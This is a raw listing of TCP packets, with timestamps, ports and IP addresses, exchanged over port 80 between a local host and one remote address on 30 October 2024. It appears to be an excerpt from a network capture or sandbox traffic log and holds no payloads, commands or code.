Oct 30, 2024 04:35:26.422787905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.422805071 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.422840118 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.422858953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.422868967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.422900915 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.422930956 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.422940016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.422950029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.422960043 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.422974110 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.422997952 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.423005104 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.423047066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.423070908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.423082113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.423091888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.423105001 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.423127890 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.423177958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.423188925 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.423198938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.423208952 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.423221111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.423221111 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.423257113 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463155031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463175058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463184118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463238955 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463433981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463457108 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463466883 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463479996 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463504076 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463515997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463522911 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463556051 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463583946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463625908 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463644981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463686943 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463700056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463711023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463733912 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463745117 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463762045 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463762999 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463774920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463778973 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463793993 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463808060 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463821888 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463841915 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463846922 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463860989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463888884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463911057 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463924885 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463943005 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.463965893 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463980913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.463998079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464008093 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464018106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464032888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464037895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464086056 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464101076 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464112997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464154005 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464164019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464174032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464174986 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464186907 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464205027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464221954 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464262962 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464273930 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464282990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464309931 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464327097 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464344025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464355946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464366913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464380026 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464426994 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464440107 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464452028 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464462042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464482069 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464505911 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464595079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464606047 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464618921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464639902 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464642048 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464652061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464660883 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464665890 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464683056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464689970 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464726925 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464732885 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464742899 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464772940 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464777946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464788914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464807034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464819908 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.464893103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.464932919 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.505129099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505141973 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505155087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505178928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505191088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505202055 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505213976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505234957 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.505315065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.505322933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505333900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505345106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505356073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505364895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.505393028 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.505407095 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505450010 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.505451918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505465031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505477905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505494118 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.505517960 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.505548954 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505562067 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505573988 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505588055 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.505592108 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.505623102 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.505655050 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.537545919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.537574053 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.537585974 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.537605047 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.537621975 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.537631989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.537678003 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.537784100 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.539457083 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539494038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539505959 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539521933 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.539578915 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539580107 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.539592981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539602995 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539614916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539632082 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.539668083 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.539675951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539700031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539710999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539725065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.539772034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.539803028 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539814949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539833069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539849043 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539856911 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.539856911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539892912 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539904118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.539907932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.539958954 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540260077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540302992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540313959 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540314913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540363073 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540374994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540385962 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540415049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540446043 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540474892 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540513039 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540518045 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540524960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540549040 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540551901 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540565014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540575981 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540591955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540597916 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540632010 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540708065 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540747881 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540760994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540771961 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540803909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540810108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540817022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540839911 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540843964 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540865898 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540875912 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540944099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.540985107 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.540991068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541004896 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541027069 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541054964 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541069984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541081905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541091919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541111946 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541129112 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541172028 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541182995 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541193008 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541215897 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541245937 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541259050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541270018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541280985 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541297913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541331053 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541341066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541352987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541384935 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541414022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541415930 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541429996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541450977 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541476965 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541500092 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541512012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541522026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541541100 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541565895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541593075 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541604996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541616917 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541634083 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541663885 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541701078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541712046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541762114 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541769981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541779995 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541789055 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541811943 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541847944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541851997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541863918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541873932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.541884899 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.541925907 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.581595898 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.581617117 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.581633091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.581646919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.581656933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.581670046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.581693888 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.581723928 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.581934929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.581984043 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.581996918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582015038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582034111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582036018 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582047939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582058907 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582072020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582081079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582093954 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582128048 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582164049 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582204103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582206964 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582216024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582245111 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582246065 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582259893 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582268000 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582293034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582309008 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582314968 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582329988 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582365990 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582369089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582380056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582392931 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582406998 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582437992 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582447052 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582458019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582489014 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582501888 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582581043 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582592010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582606077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582623005 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582627058 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582636118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582659006 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582664967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582679987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582684040 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582684040 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582706928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582709074 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582717896 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582730055 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582734108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582741022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582758904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582771063 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582775116 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582807064 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582844973 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582854986 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582866907 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582885981 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582907915 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.582942963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582964897 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582974911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.582988024 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.583005905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.583050013 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583061934 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583071947 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583084106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583100080 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.583120108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.583127022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583173990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583175898 CET	49983	80	192.168.2.7	185.215.113.16
